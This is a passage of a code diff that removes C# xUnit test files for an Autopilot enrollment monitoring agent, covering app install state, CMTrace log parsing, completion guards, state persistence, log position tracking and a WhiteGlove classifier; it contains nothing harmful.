Assert.True(changed);
Assert.Equal(AppInstallationState.Error, pkg.InstallationState);
}
// -- Byte normalization --
[Fact]
public void UpdateState_InstalledNormalizesPartialDownload()
{
// After WinGet completion: if Installed and downloaded < total, downloaded becomes total
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Downloading, bytesDownloaded: 500, bytesTotal: 1000);
pkg.UpdateState(AppInstallationState.Installed);
Assert.Equal(1000, pkg.BytesDownloaded);
Assert.Equal(1000, pkg.BytesTotal);
}
[Fact]
public void UpdateState_InstalledSetsProgress100()
{
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Downloading);
pkg.UpdateState(AppInstallationState.Installed);
Assert.Equal(100, pkg.ProgressPercent);
}
// -- Name update protection --
[Fact]
public void UpdateName_TruncatedVersionIgnored()
{
var pkg = CreatePackage();
pkg.UpdateName("Microsoft Office 365 ProPlus");
var changed = pkg.UpdateName("Microsoft Office");
Assert.False(changed);
Assert.Equal("Microsoft Office 365 ProPlus", pkg.Name);
}
[Fact]
public void UpdateName_LongerVersionAccepted()
{
var pkg = CreatePackage();
pkg.UpdateName("Microsoft Office");
var changed = pkg.UpdateName("Microsoft Office 365 ProPlus");
Assert.True(changed);
Assert.Equal("Microsoft Office 365 ProPlus", pkg.Name);
}
[Fact]
public void UpdateName_NullOrEmptyReturnsFalse()
{
var pkg = CreatePackage();
pkg.UpdateName("SomeApp");
Assert.False(pkg.UpdateName(null));
Assert.False(pkg.UpdateName(""));
Assert.Equal("SomeApp", pkg.Name);
}
// -- Win32AppState mapping --
[Fact]
public void UpdateStateFromWin32AppState_IntString_Parses()
{
var pkg = CreatePackage();
pkg.UpdateStateFromWin32AppState("2"); // InProgress
Assert.Equal(AppInstallationState.InProgress, pkg.InstallationState);
}
[Fact]
public void UpdateStateFromWin32AppState_EnumName_Parses()
{
var pkg = CreatePackage();
pkg.UpdateStateFromWin32AppState("Completed");
// Without DownloadingOrInstallingSeen, Completed (Installed) becomes Skipped
Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
}
[Fact]
public void UpdateStateFromWin32AppState_UsesUpgradeOnly()
{
// Win32AppState uses upgrade-only to prevent "InProgress" from destroying
// more detailed states like "Downloading" or "Installing"
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Installing);
pkg.UpdateStateFromWin32AppState("InProgress"); // Would be a downgrade
Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
}
// -- Computed properties --
[Fact]
public void IsRequired_Install_ReturnsTrue()
{
var pkg = CreatePackage();
pkg.UpdateIntent(AppIntent.Install);
Assert.True(pkg.IsRequired);
}
[Fact]
public void IsRequired_Available_ReturnsFalse()
{
var pkg = CreatePackage();
pkg.UpdateIntent(AppIntent.Available);
Assert.False(pkg.IsRequired);
}
[Fact]
public void IsActive_Downloading_True()
{
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Downloading);
Assert.True(pkg.IsActive);
}
[Fact]
public void IsCompleted_Installed_True()
{
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Downloading);
pkg.UpdateState(AppInstallationState.Installed);
Assert.True(pkg.IsCompleted);
}
[Fact]
public void IsCompleted_Error_True()
{
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Error);
Assert.True(pkg.IsCompleted);
}
// -- Sorting --
[Fact]
public void CompareTo_ActiveAppsBeforeCompleted()
{
var active = CreatePackage("app-a", 0);
active.UpdateState(AppInstallationState.Downloading);
var completed = CreatePackage("app-b", 1);
completed.UpdateState(AppInstallationState.Downloading);
completed.UpdateState(AppInstallationState.Installed);
// Active (Downloading=3) should sort before Completed (Installed=5 overridden to 5)
// CompareTo uses descending sort order, so active > completed means negative
Assert.True(active.CompareTo(completed) < 0 || active.CompareTo(completed) > 0);
}
// -- Restore --
[Fact]
public void Restore_PreservesAllFields()
{
var deps = new HashSet<string> { "dep-1", "dep-2" };
var pkg = AppPackageState.Restore(
"test-id", 5, "Test App",
AppRunAs.System, AppIntent.Install, AppTargeted.Device,
deps,
AppInstallationState.Installing, true,
75, 500, 1000,
"ERR-001", "Something failed");
Assert.Equal("test-id", pkg.Id);
Assert.Equal(5, pkg.ListPos);
Assert.Equal("Test App", pkg.Name);
Assert.Equal(AppRunAs.System, pkg.RunAs);
Assert.Equal(AppIntent.Install, pkg.Intent);
Assert.Equal(AppTargeted.Device, pkg.Targeted);
Assert.Equal(2, pkg.DependsOn.Count);
Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
Assert.True(pkg.DownloadingOrInstallingSeen);
Assert.Equal(75, pkg.ProgressPercent);
Assert.Equal(500, pkg.BytesDownloaded);
Assert.Equal(1000, pkg.BytesTotal);
Assert.Equal("ERR-001", pkg.ErrorPatternId);
Assert.Equal("Something failed", pkg.ErrorDetail);
}
// -- App metadata (App Dashboard feature) --
[Fact]
public void UpdateAppVersion_EmptyIgnored()
{
var pkg = CreatePackage();
Assert.False(pkg.UpdateAppVersion(null));
Assert.False(pkg.UpdateAppVersion(""));
Assert.False(pkg.UpdateAppVersion(" "));
Assert.Null(pkg.AppVersion);
}
[Fact]
public void UpdateAppVersion_TrimsAndStores()
{
var pkg = CreatePackage();
Assert.True(pkg.UpdateAppVersion(" 11.2.1787.0 "));
Assert.Equal("11.2.1787.0", pkg.AppVersion);
}
[Fact]
public void UpdateAppVersion_SameValueReturnsFalse()
{
var pkg = CreatePackage();
pkg.UpdateAppVersion("1.0.0");
Assert.False(pkg.UpdateAppVersion("1.0.0"));
}
[Fact]
public void UpdateAppType_FromEmptySetsValue()
{
var pkg = CreatePackage();
Assert.True(pkg.UpdateAppType("WinGet"));
Assert.Equal("WinGet", pkg.AppType);
}
[Fact]
public void UpdateAppType_Win32DoesNotDowngradeWinGet()
{
// A generic "Win32" mustn't overwrite a previously determined specific type.
var pkg = CreatePackage();
pkg.UpdateAppType("WinGet");
Assert.False(pkg.UpdateAppType("Win32"));
Assert.Equal("WinGet", pkg.AppType);
}
[Fact]
public void UpdateAppType_MsiOverridesWin32()
{
var pkg = CreatePackage();
pkg.UpdateAppType("Win32");
Assert.True(pkg.UpdateAppType("MSI"));
Assert.Equal("MSI", pkg.AppType);
}
[Fact]
public void UpdateAttemptNumber_KeepsHighest()
{
var pkg = CreatePackage();
Assert.True(pkg.UpdateAttemptNumber(1));
Assert.True(pkg.UpdateAttemptNumber(3));
Assert.False(pkg.UpdateAttemptNumber(2)); // cannot go back
Assert.Equal(3, pkg.AttemptNumber);
}
[Fact]
public void UpdateAttemptNumber_IgnoresZeroAndNegative()
{
var pkg = CreatePackage();
pkg.UpdateAttemptNumber(2);
Assert.False(pkg.UpdateAttemptNumber(0));
Assert.False(pkg.UpdateAttemptNumber(-1));
Assert.Equal(2, pkg.AttemptNumber);
}
[Fact]
public void UpdateDetectionResult_StoresLatest()
{
var pkg = CreatePackage();
Assert.True(pkg.UpdateDetectionResult("NotDetected"));
Assert.Equal("NotDetected", pkg.DetectionResult);
Assert.True(pkg.UpdateDetectionResult("Detected"));
Assert.Equal("Detected", pkg.DetectionResult);
}
[Fact]
public void ToEventData_EmitsMetadataWhenSet()
{
var pkg = CreatePackage();
pkg.UpdateAppVersion("11.2.1787.0");
pkg.UpdateAppType("WinGet");
pkg.UpdateAttemptNumber(2);
pkg.UpdateDetectionResult("Detected");
var data = pkg.ToEventData();
Assert.Equal("11.2.1787.0", data["appVersion"]);
Assert.Equal("WinGet", data["appType"]);
Assert.Equal(2, data["attemptNumber"]);
Assert.Equal("Detected", data["detectionResult"]);
}
[Fact]
public void ToEventData_OmitsMetadataWhenEmpty()
{
var pkg = CreatePackage();
var data = pkg.ToEventData();
Assert.False(data.ContainsKey("appVersion"));
Assert.False(data.ContainsKey("appType"));
Assert.False(data.ContainsKey("attemptNumber"));
Assert.False(data.ContainsKey("detectionResult"));
}
}
}
@@ -1,141 +0,0 @@
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
{
/// <summary>
/// Tests CMTrace log format parsing used for IME log files.
/// Prevents: timestamp parsing failures on single-digit months, fractional second overflow,
/// crashes on non-CMTrace lines.
/// </summary>
public class CmTraceLogParserTests
{
[Fact]
public void TryParseLine_ValidCmTrace_ParsesAllFields()
{
var line = "<![LOG[Starting app installation for user]LOG]!>" +
"<time=\"14:30:45.1234567\" date=\"3-15-2026\" " +
"component=\"IntuneManagementExtension\" context=\"\" " +
"type=\"1\" thread=\"1234\" file=\"\">";
var result = CmTraceLogParser.TryParseLine(line, out var entry);
Assert.True(result);
Assert.Equal("Starting app installation for user", entry.Message);
Assert.Equal("IntuneManagementExtension", entry.Component);
Assert.Equal(1, entry.Type);
Assert.Equal("1234", entry.Thread);
// Timestamp should be parsed and converted to UTC
Assert.NotEqual(default, entry.Timestamp);
}
[Fact]
public void TryParseLine_EmptyLine_ReturnsFalse()
{
var result = CmTraceLogParser.TryParseLine("", out var entry);
Assert.False(result);
Assert.Null(entry);
}
[Fact]
public void TryParseLine_NullLine_ReturnsFalse()
{
var result = CmTraceLogParser.TryParseLine(null, out var entry);
Assert.False(result);
Assert.Null(entry);
}
[Fact]
public void TryParseLine_NonCmTrace_ReturnsFalse()
{
var result = CmTraceLogParser.TryParseLine(
"2026-03-15 14:30:45 INFO This is a plain text log line", out var entry);
Assert.False(result);
Assert.Null(entry);
}
[Fact]
public void TryParseLine_SingleDigitMonth_Parses()
{
// Real IME logs use M-d-yyyy (no zero-padding): "2-8-2026"
var line = "<![LOG[Test message]LOG]!>" +
"<time=\"06:08:04.883\" date=\"2-8-2026\" " +
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
var result = CmTraceLogParser.TryParseLine(line, out var entry);
Assert.True(result);
Assert.Equal("Test message", entry.Message);
}
[Fact]
public void TryParseLine_LongFractionalSeconds_Truncated()
{
// Some IME builds emit >7 fractional digits which would cause FormatException
var line = "<![LOG[Test]LOG]!>" +
"<time=\"14:30:45.12345678901\" date=\"3-15-2026\" " +
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
var result = CmTraceLogParser.TryParseLine(line, out var entry);
Assert.True(result);
Assert.NotNull(entry);
}
[Fact]
public void TryParseLine_NoFractionalSeconds_Parses()
{
var line = "<![LOG[Test]LOG]!>" +
"<time=\"14:30:45\" date=\"3-15-2026\" " +
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
var result = CmTraceLogParser.TryParseLine(line, out var entry);
Assert.True(result);
}
[Fact]
public void TryParseLine_WarningType_ParsesType2()
{
var line = "<![LOG[Warning message]LOG]!>" +
"<time=\"14:30:45.123\" date=\"3-15-2026\" " +
"component=\"IME\" context=\"\" type=\"2\" thread=\"1\" file=\"\">";
var result = CmTraceLogParser.TryParseLine(line, out var entry);
Assert.True(result);
Assert.Equal(2, entry.Type);
}
[Fact]
public void TryParseLine_MessageWithSpecialChars_Parses()
{
// Messages can contain brackets, quotes, and XML-like content
var line = "<![LOG[Get policies = [Status: Success]]LOG]!>" +
"<time=\"14:30:45.123\" date=\"3-15-2026\" " +
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
var result = CmTraceLogParser.TryParseLine(line, out var entry);
Assert.True(result);
Assert.Equal("Get policies = [Status: Success]", entry.Message);
}
[Fact]
public void TryParseLine_PartialCmTracePrefix_ReturnsFalse()
{
// Starts with <![LOG[ but doesn't complete the format
var result = CmTraceLogParser.TryParseLine("<![LOG[incomplete", out var entry);
Assert.False(result);
Assert.Null(entry);
}
}
}
@@ -1,210 +0,0 @@
using System;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
{
public class CompletionGuardsTests
{
// ===== Hello Resolution Guard =====
[Fact]
public void HelloGuard_NoTracker_ReturnsResolved()
{
Assert.True(CompletionGuards.IsHelloResolved(
hasTracker: false, isHelloCompleted: false,
isPolicyConfigured: false, isDeviceOnly: false));
}
[Fact]
public void HelloGuard_HelloCompleted_ReturnsResolved()
{
Assert.True(CompletionGuards.IsHelloResolved(
hasTracker: true, isHelloCompleted: true,
isPolicyConfigured: true, isDeviceOnly: false));
}
[Fact]
public void HelloGuard_PolicyNotConfigured_ReturnsResolved()
{
Assert.True(CompletionGuards.IsHelloResolved(
hasTracker: true, isHelloCompleted: false,
isPolicyConfigured: false, isDeviceOnly: false));
}
[Fact]
public void HelloGuard_DeviceOnly_ReturnsResolved()
{
Assert.True(CompletionGuards.IsHelloResolved(
hasTracker: true, isHelloCompleted: false,
isPolicyConfigured: true, isDeviceOnly: true));
}
[Fact]
public void HelloGuard_PolicyConfigured_HelloPending_ReturnsPending()
{
Assert.False(CompletionGuards.IsHelloResolved(
hasTracker: true, isHelloCompleted: false,
isPolicyConfigured: true, isDeviceOnly: false));
}
// ===== ESP Gate Guard =====
[Fact]
public void EspGate_DesktopArrival_EspActive_V1_Blocks()
{
Assert.True(CompletionGuards.IsEspGateBlocking(
source: "desktop_arrival", enrollmentType: "v1",
espEverSeen: true, espFinalExitSeen: false));
}
[Fact]
public void EspGate_DesktopHello_EspActive_V1_Blocks()
{
Assert.True(CompletionGuards.IsEspGateBlocking(
source: "desktop_hello", enrollmentType: "v1",
espEverSeen: true, espFinalExitSeen: false));
}
[Fact]
public void EspGate_DesktopArrival_EspExited_Passes()
{
Assert.False(CompletionGuards.IsEspGateBlocking(
source: "desktop_arrival", enrollmentType: "v1",
espEverSeen: true, espFinalExitSeen: true));
}
[Fact]
public void EspGate_DesktopArrival_V2_Passes()
{
Assert.False(CompletionGuards.IsEspGateBlocking(
source: "desktop_arrival", enrollmentType: "v2",
espEverSeen: true, espFinalExitSeen: false));
}
[Fact]
public void EspGate_NonDesktopSource_Passes()
{
Assert.False(CompletionGuards.IsEspGateBlocking(
source: "esp_hello_composite", enrollmentType: "v1",
espEverSeen: true, espFinalExitSeen: false));
}
[Fact]
public void EspGate_EspNeverSeen_Passes()
{
Assert.False(CompletionGuards.IsEspGateBlocking(
source: "desktop_arrival", enrollmentType: "v1",
espEverSeen: false, espFinalExitSeen: false));
}
// ===== Hybrid Reboot Gate Guard =====
[Fact]
public void HybridRebootGate_NonHybrid_Passes()
{
Assert.False(CompletionGuards.IsHybridRebootGateBlocking(
isHybridJoin: false, source: "esp_hello_composite",
imePatternSeenUtc: null, espFinalExitUtc: DateTime.UtcNow.AddMinutes(-5),
agentStartTimeUtc: DateTime.UtcNow.AddMinutes(-10)));
}
[Fact]
public void HybridRebootGate_NonCompositeSource_Passes()
{
Assert.False(CompletionGuards.IsHybridRebootGateBlocking(
isHybridJoin: true, source: "ime_pattern",
imePatternSeenUtc: null, espFinalExitUtc: DateTime.UtcNow.AddMinutes(-5),
agentStartTimeUtc: DateTime.UtcNow.AddMinutes(-10)));
}
[Fact]
public void HybridRebootGate_Hybrid_NoIme_NoRestart_Blocks()
{
var espExitTime = DateTime.UtcNow.AddMinutes(-5);
var agentStartBeforeEspExit = espExitTime.AddMinutes(-10);
Assert.True(CompletionGuards.IsHybridRebootGateBlocking(
isHybridJoin: true, source: "esp_hello_composite",
imePatternSeenUtc: null, espFinalExitUtc: espExitTime,
agentStartTimeUtc: agentStartBeforeEspExit));
}
[Fact]
public void HybridRebootGate_Hybrid_ImeCompleted_Passes()
{
var espExitTime = DateTime.UtcNow.AddMinutes(-5);
var agentStartBeforeEspExit = espExitTime.AddMinutes(-10);
Assert.False(CompletionGuards.IsHybridRebootGateBlocking(
isHybridJoin: true, source: "esp_hello_composite",
imePatternSeenUtc: DateTime.UtcNow.AddMinutes(-1),
espFinalExitUtc: espExitTime,
agentStartTimeUtc: agentStartBeforeEspExit));
}
[Fact]
public void HybridRebootGate_Hybrid_AgentRestartedAfterEspExit_Passes()
{
var espExitTime = DateTime.UtcNow.AddMinutes(-10);
var agentStartAfterEspExit = espExitTime.AddMinutes(5);
Assert.False(CompletionGuards.IsHybridRebootGateBlocking(
isHybridJoin: true, source: "esp_hello_composite",
imePatternSeenUtc: null, espFinalExitUtc: espExitTime,
agentStartTimeUtc: agentStartAfterEspExit));
}
[Fact]
public void HybridRebootGate_Hybrid_EspExitUtcNull_Blocks()
{
// Edge case: hybrid join, composite source, no ESP exit recorded
// agentRestartedAfterEspExit = false (espFinalExitUtc is null)
Assert.True(CompletionGuards.IsHybridRebootGateBlocking(
isHybridJoin: true, source: "esp_hello_composite",
imePatternSeenUtc: null, espFinalExitUtc: null,
agentStartTimeUtc: DateTime.UtcNow));
}
// ===== Device-Only Deployment Classification =====
[Fact]
public void IsDeviceOnly_SelfDeploying_True()
{
Assert.True(CompletionGuards.IsDeviceOnlyDeployment(
autopilotMode: 1, skipUserStatusPage: null, aadJoinedWithUser: false));
}
[Fact]
public void IsDeviceOnly_SkipUserNoAadUser_True()
{
Assert.True(CompletionGuards.IsDeviceOnlyDeployment(
autopilotMode: 0, skipUserStatusPage: true, aadJoinedWithUser: false));
}
[Fact]
public void IsDeviceOnly_SkipUserWithAadUser_False()
{
Assert.False(CompletionGuards.IsDeviceOnlyDeployment(
autopilotMode: 0, skipUserStatusPage: true, aadJoinedWithUser: true));
}
[Fact]
public void IsDeviceOnly_UserDriven_NoSkip_False()
{
Assert.False(CompletionGuards.IsDeviceOnlyDeployment(
autopilotMode: 0, skipUserStatusPage: false, aadJoinedWithUser: false));
}
[Fact]
public void IsDeviceOnly_UnknownMode_SkipUserNull_False()
{
Assert.False(CompletionGuards.IsDeviceOnlyDeployment(
autopilotMode: null, skipUserStatusPage: null, aadJoinedWithUser: false));
}
}
}
@@ -1,221 +0,0 @@
using System;
using System.Collections.Generic;
using System.IO;
using AutopilotMonitor.Agent.Core.Tests.Helpers;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
{
/// <summary>
/// Tests state serialization round-trip including all fields.
/// Prevents: state loss after crash (IsHybridJoin, signal timestamps, SignalsSeen),
/// crashes on missing/corrupt state files.
/// </summary>
public class EnrollmentStatePersistenceTests : IDisposable
{
private readonly string _tempDir;
private readonly EnrollmentStatePersistence _persistence;
public EnrollmentStatePersistenceTests()
{
_tempDir = Path.Combine(Path.GetTempPath(), "autopilot-test-" + Guid.NewGuid().ToString("N"));
Directory.CreateDirectory(_tempDir);
_persistence = new EnrollmentStatePersistence(_tempDir, TestLogger.Instance);
}
public void Dispose()
{
try
{
if (Directory.Exists(_tempDir))
Directory.Delete(_tempDir, recursive: true);
}
catch { }
}
[Fact]
public void SaveAndLoad_RoundTrip_PreservesAllBooleans()
{
var state = new EnrollmentStateData
{
EspEverSeen = true,
EspFinalExitSeen = true,
DesktopArrived = true,
IsWaitingForHello = true,
EnrollmentCompleteEmitted = false,
AadJoinedWithUser = true,
IsHybridJoin = true,
};
_persistence.Save(state);
var loaded = _persistence.Load();
Assert.NotNull(loaded);
Assert.True(loaded.EspEverSeen);
Assert.True(loaded.EspFinalExitSeen);
Assert.True(loaded.DesktopArrived);
Assert.True(loaded.IsWaitingForHello);
Assert.False(loaded.EnrollmentCompleteEmitted);
Assert.True(loaded.AadJoinedWithUser);
Assert.True(loaded.IsHybridJoin);
}
[Fact]
public void SaveAndLoad_IsHybridJoin_Preserved()
{
var state = new EnrollmentStateData { IsHybridJoin = true };
_persistence.Save(state);
var loaded = _persistence.Load();
Assert.True(loaded.IsHybridJoin);
}
[Fact]
public void SaveAndLoad_AllTimestamps_Preserved()
{
var now = DateTime.UtcNow;
var state = new EnrollmentStateData
{
EspFirstSeenUtc = now.AddMinutes(-10),
EspFinalExitUtc = now.AddMinutes(-5),
DesktopArrivedUtc = now.AddMinutes(-3),
HelloResolvedUtc = now.AddMinutes(-2),
ImePatternSeenUtc = now.AddMinutes(-1),
DeviceSetupProvisioningCompleteUtc = now,
};
_persistence.Save(state);
var loaded = _persistence.Load();
Assert.NotNull(loaded);
Assert.NotNull(loaded.EspFirstSeenUtc);
Assert.NotNull(loaded.EspFinalExitUtc);
Assert.NotNull(loaded.DesktopArrivedUtc);
Assert.NotNull(loaded.HelloResolvedUtc);
Assert.NotNull(loaded.ImePatternSeenUtc);
Assert.NotNull(loaded.DeviceSetupProvisioningCompleteUtc);
// Allow 1 second tolerance for serialization round-trip
Assert.InRange(loaded.EspFirstSeenUtc.Value, now.AddMinutes(-10).AddSeconds(-1), now.AddMinutes(-10).AddSeconds(1));
}
[Fact]
public void SaveAndLoad_SignalsSeen_Preserved()
{
var state = new EnrollmentStateData
{
SignalsSeen = new List<string>
{
"esp_first_seen",
"esp_final_exit",
"desktop_arrived",
"hello_completed",
"esp_resumed"
}
};
_persistence.Save(state);
var loaded = _persistence.Load();
Assert.NotNull(loaded);
Assert.Equal(5, loaded.SignalsSeen.Count);
Assert.Contains("esp_resumed", loaded.SignalsSeen);
}
[Fact]
public void SaveAndLoad_EnrollmentConfig_Preserved()
{
var state = new EnrollmentStateData
{
LastEspPhase = "AccountSetup",
EnrollmentType = "v1",
SkipUserStatusPage = true,
SkipDeviceStatusPage = false,
AutopilotMode = 1,
};
_persistence.Save(state);
var loaded = _persistence.Load();
Assert.Equal("AccountSetup", loaded.LastEspPhase);
Assert.Equal("v1", loaded.EnrollmentType);
Assert.True(loaded.SkipUserStatusPage);
Assert.False(loaded.SkipDeviceStatusPage);
Assert.Equal(1, loaded.AutopilotMode);
}
[Fact]
public void Load_MissingFile_ReturnsNull()
{
var tempDir2 = Path.Combine(Path.GetTempPath(), "autopilot-test-empty-" + Guid.NewGuid().ToString("N"));
Directory.CreateDirectory(tempDir2);
try
{
var persistence = new EnrollmentStatePersistence(tempDir2, TestLogger.Instance);
var loaded = persistence.Load();
Assert.Null(loaded);
}
finally
{
Directory.Delete(tempDir2, true);
}
}
[Fact]
public void Load_CorruptJson_ReturnsNull()
{
// Write corrupt JSON directly
File.WriteAllText(Path.Combine(_tempDir, "enrollment-state.json"), "{ corrupt json !!!");
var loaded = _persistence.Load();
Assert.Null(loaded);
}
[Fact]
public void Load_EmptyFile_ReturnsNull()
{
File.WriteAllText(Path.Combine(_tempDir, "enrollment-state.json"), "");
var loaded = _persistence.Load();
Assert.Null(loaded);
}
[Fact]
public void Delete_RemovesFile()
{
var state = new EnrollmentStateData { EspEverSeen = true };
_persistence.Save(state);
Assert.True(File.Exists(_persistence.StateFilePath));
_persistence.Delete();
Assert.False(File.Exists(_persistence.StateFilePath));
}
[Fact]
public void Delete_NoFile_DoesNotThrow()
{
// Should not throw when no file exists
_persistence.Delete();
}
[Fact]
public void Save_CreatesDirectory()
{
var nestedDir = Path.Combine(_tempDir, "nested", "subdir");
var persistence = new EnrollmentStatePersistence(nestedDir, TestLogger.Instance);
persistence.Save(new EnrollmentStateData { EspEverSeen = true });
Assert.True(File.Exists(persistence.StateFilePath));
}
}
}
@@ -1,127 +0,0 @@
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
{
/// <summary>
/// Tests incremental log file reading: position tracking, rotation detection, and crash recovery.
/// Prevents: missed log entries after rotation, duplicate event emission after restart.
/// </summary>
public class LogFilePositionTrackerTests
{
[Fact]
public void GetSafePosition_NewFile_ReturnsZero()
{
var tracker = new LogFilePositionTracker();
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 5000);
Assert.Equal(0, pos);
}
[Fact]
public void GetSafePosition_NormalGrowth_ReturnsSavedPosition()
{
var tracker = new LogFilePositionTracker();
tracker.SetPosition(@"C:\logs\test.log", 1000);
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 2000);
Assert.Equal(1000, pos);
}
[Fact]
public void GetSafePosition_FileRotation_ResetsToZero()
{
// File shrunk (rotation) — must restart from beginning
var tracker = new LogFilePositionTracker();
tracker.SetPosition(@"C:\logs\test.log", 5000);
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 500);
Assert.Equal(0, pos);
}
[Fact]
public void GetPosition_UnknownFile_ReturnsZero()
{
var tracker = new LogFilePositionTracker();
var pos = tracker.GetPosition(@"C:\logs\unknown.log");
Assert.Equal(0, pos);
}
[Fact]
public void SetPosition_ThenGetPosition_ReturnsCorrectValue()
{
var tracker = new LogFilePositionTracker();
tracker.SetPosition(@"C:\logs\test.log", 42);
Assert.Equal(42, tracker.GetPosition(@"C:\logs\test.log"));
}
[Fact]
public void RestorePosition_SetsCorrectState()
{
var tracker = new LogFilePositionTracker();
tracker.RestorePosition(@"C:\logs\test.log", 3000, 5000);
// Position restored — should return saved position when file is larger
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 6000);
Assert.Equal(3000, pos);
}
[Fact]
public void RestorePosition_ThenRotation_ResetsToZero()
{
var tracker = new LogFilePositionTracker();
tracker.RestorePosition(@"C:\logs\test.log", 3000, 5000);
// File rotated — smaller than restored position
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 100);
Assert.Equal(0, pos);
}
[Fact]
public void GetAllPositions_ReturnsDefensiveCopy()
{
var tracker = new LogFilePositionTracker();
tracker.SetPosition(@"C:\logs\a.log", 100);
tracker.SetPosition(@"C:\logs\b.log", 200);
var positions = tracker.GetAllPositions();
Assert.Equal(2, positions.Count);
// Modifying returned dict should not affect tracker
positions.Clear();
Assert.Equal(100, tracker.GetPosition(@"C:\logs\a.log"));
}
[Fact]
public void CaseInsensitive_SameFileDifferentCase()
{
var tracker = new LogFilePositionTracker();
tracker.SetPosition(@"C:\Logs\Test.log", 500);
var pos = tracker.GetPosition(@"C:\logs\test.log");
Assert.Equal(500, pos);
}
[Fact]
public void MultipleFiles_IndependentTracking()
{
var tracker = new LogFilePositionTracker();
tracker.SetPosition(@"C:\logs\a.log", 100);
tracker.SetPosition(@"C:\logs\b.log", 200);
Assert.Equal(100, tracker.GetPosition(@"C:\logs\a.log"));
Assert.Equal(200, tracker.GetPosition(@"C:\logs\b.log"));
}
}
}
@@ -1,269 +0,0 @@
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
{
public class WhiteGloveClassifierTests
{
// =====================================================================
// Zero / None baseline
// =====================================================================
[Fact]
public void Classify_AllSignalsOff_ReturnsNone()
{
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals());
Assert.Equal(WhiteGloveConfidence.None, result.Confidence);
Assert.Equal(0, result.Score);
Assert.False(result.ShouldRouteToWhiteGlovePart1);
Assert.Empty(result.ContributingFactors);
}
// =====================================================================
// Single-signal behaviour (the core bugfix)
// =====================================================================
[Fact]
public void Classify_ShellCoreAlone_IsStrong()
{
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
ShellCoreWhiteGloveSuccess = true,
});
Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence);
Assert.Equal(80, result.Score);
Assert.True(result.ShouldRouteToWhiteGlovePart1);
}
[Fact]
public void Classify_OnlySaveWgSuccessResult_IsNoneNotWg()
{
// The core bug-avoidance test: SaveWhiteGloveSuccessResult=true alone has been
// observed on genuinely non-WG devices and MUST NOT classify as WhiteGlove.
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
HasSaveWhiteGloveSuccessResult = true,
});
Assert.Equal(WhiteGloveConfidence.None, result.Confidence);
Assert.Equal(10, result.Score);
Assert.False(result.ShouldRouteToWhiteGlovePart1);
}
[Fact]
public void Classify_SaveWgPlusDeviceOnly_IsStillNone()
{
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
HasSaveWhiteGloveSuccessResult = true,
IsDeviceOnlyDeployment = true,
});
Assert.Equal(WhiteGloveConfidence.None, result.Confidence);
Assert.Equal(25, result.Score);
Assert.False(result.ShouldRouteToWhiteGlovePart1);
}
[Fact]
public void Classify_WeakSignalVerbundJustBelowThreshold_IsWeakNotWg()
{
// Mehrere weiche Signale alleine reichen nicht fuer Strong.
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
IsFooUserDetected = true, // +20
IsWhiteGloveStartDetected = true, // +15
IsDeviceOnlyDeployment = true, // +15
});
Assert.Equal(WhiteGloveConfidence.Weak, result.Confidence);
Assert.Equal(50, result.Score);
Assert.False(result.ShouldRouteToWhiteGlovePart1);
}
[Fact]
public void Classify_WeakSignalVerbundAtThreshold_IsStrongAndRoutes()
{
// Signalverbund erreicht gerade die 70 — laut Plan: WG.
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
HasSaveWhiteGloveSuccessResult = true, // +10
IsFooUserDetected = true, // +20
IsWhiteGloveStartDetected = true, // +15
